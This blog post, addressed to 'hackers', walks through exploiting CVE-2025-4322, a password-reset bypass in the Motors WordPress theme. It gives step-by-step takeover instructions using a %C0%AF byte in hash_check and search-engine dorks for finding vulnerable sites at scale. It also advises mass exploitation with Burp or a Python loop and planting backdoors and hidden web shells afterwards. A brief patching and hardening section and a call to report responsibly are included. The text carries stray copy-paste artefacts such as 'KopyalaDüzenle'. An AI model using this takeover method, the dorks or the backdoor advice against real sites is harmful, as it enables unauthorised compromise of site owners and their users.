Critical CVE-2025-4322 in Motors WordPress Theme: Full Site Takeover Explained for Hackers

If you’re hunting for a high-impact target, the popular Motors WordPress theme (5.6.67 and earlier) is your new playground. With over 22,000 active installs on ThemeForest, CVE-2025-4322—rated 9.8/10 on the CVSS scale—lets unauthenticated attackers reset any user’s password (including admins), paving the way for a full site takeover.

⚙️ Technical Breakdown

The culprit lies in the password-recovery.php template of the Login Register widget. Instead of robust validation, it uses a faulty snippet:

phpKopyalaDüzenle$user_hash = get_the_author_meta('stm_lost_password_hash', $user_id_get);
if ($user_hash !== $user_hash_check) {
    $error = true;
}

• When no reset is initiated, $user_hash is empty.
• By injecting an invalid UTF-8 byte into the hash_check parameter, WordPress’s esc_attr() sanitization strips that byte—making the empty $user_hash and the sanitized $user_hash_check magically equal Daily CyberSecurity.
• Result: the check passes, and the attacker lands on the “choose new password” screen for any account.

🧪 PoC Walkthrough

1. Trigger Reset: Submit “Forgot Password” for a known username (e.g., admin).
2. Intercept Link: Capture the link—typically: pgsqlKopyalaDüzenlehttps://target.com/password-recovery?login=admin&hash=<HASH>
3. Bypass the Check: Resubmit the form, appending a bad UTF-8 byte: iniKopyalaDüzenlehash_check=<HASH>%C0%AF
4. Choose New Password: You’ll be prompted to set a new password for admin.
5. Verify: Log in to /wp-admin with your new credentials—full site takeover achieved.

🎯 Dork Hunting

Automate discovery of vulnerable sites before pivoting to your PoC: <details> <summary>Google Dorks</summary>

textKopyalaDüzenleinurl:"/wp-content/themes/motors/password-recovery.php"
intext:"stm_lost_password_hash" inurl:"password-recovery"

</details> <details> <summary>FOFA Dork</summary>

textKopyalaDüzenleproduct.name="WordPress" && (url="/wp-content/themes/motors/password-recovery.php" || body="stm_lost_password_hash")

</details>

Use these to map out hosts quickly and feed your scanner or custom scripts.

🔄 Exploit Automation Tips

• Burp Suite: Set up an Intruder payload to append %C0%AF to hash_check for multiple targets.
• Custom Script: Write a Python loop that fetches reset links, injects the bypass, and logs successful takeovers.
• Post-Exploitation: Once in, install backdoors or malicious plugins. For stealth, drop a custom theme file with a hidden web shell.

🔐 Mitigation & Remediation

1. Immediate Patch: Upgrade Motors theme to 5.6.68 (patched by the Wordfence Bug Bounty Program) Daily CyberSecurity.
2. Temporary Workaround: Rename or remove password-recovery.php in /wp-content/themes/motors/.
3. Harden WP:
   • Disable AJAX password resets.
   • Enforce two-factor authentication (2FA) for all admin users.
   • Monitor stm_lost_password_hash metadata for unauthorized changes.

📢 Why You Should Care

Attackers exploiting CVE-2025-4322 can fully compromise high-value WordPress installations in seconds. If you’re a red-teamer or a bug hunter, this flaw is a goldmine—just be sure to report it responsibly and pocket the bounty.

At phpfilemanager.com, we keep you updated on the latest WordPress vulnerabilities and PoCs. Stay sharp, hack responsibly, and patch fast!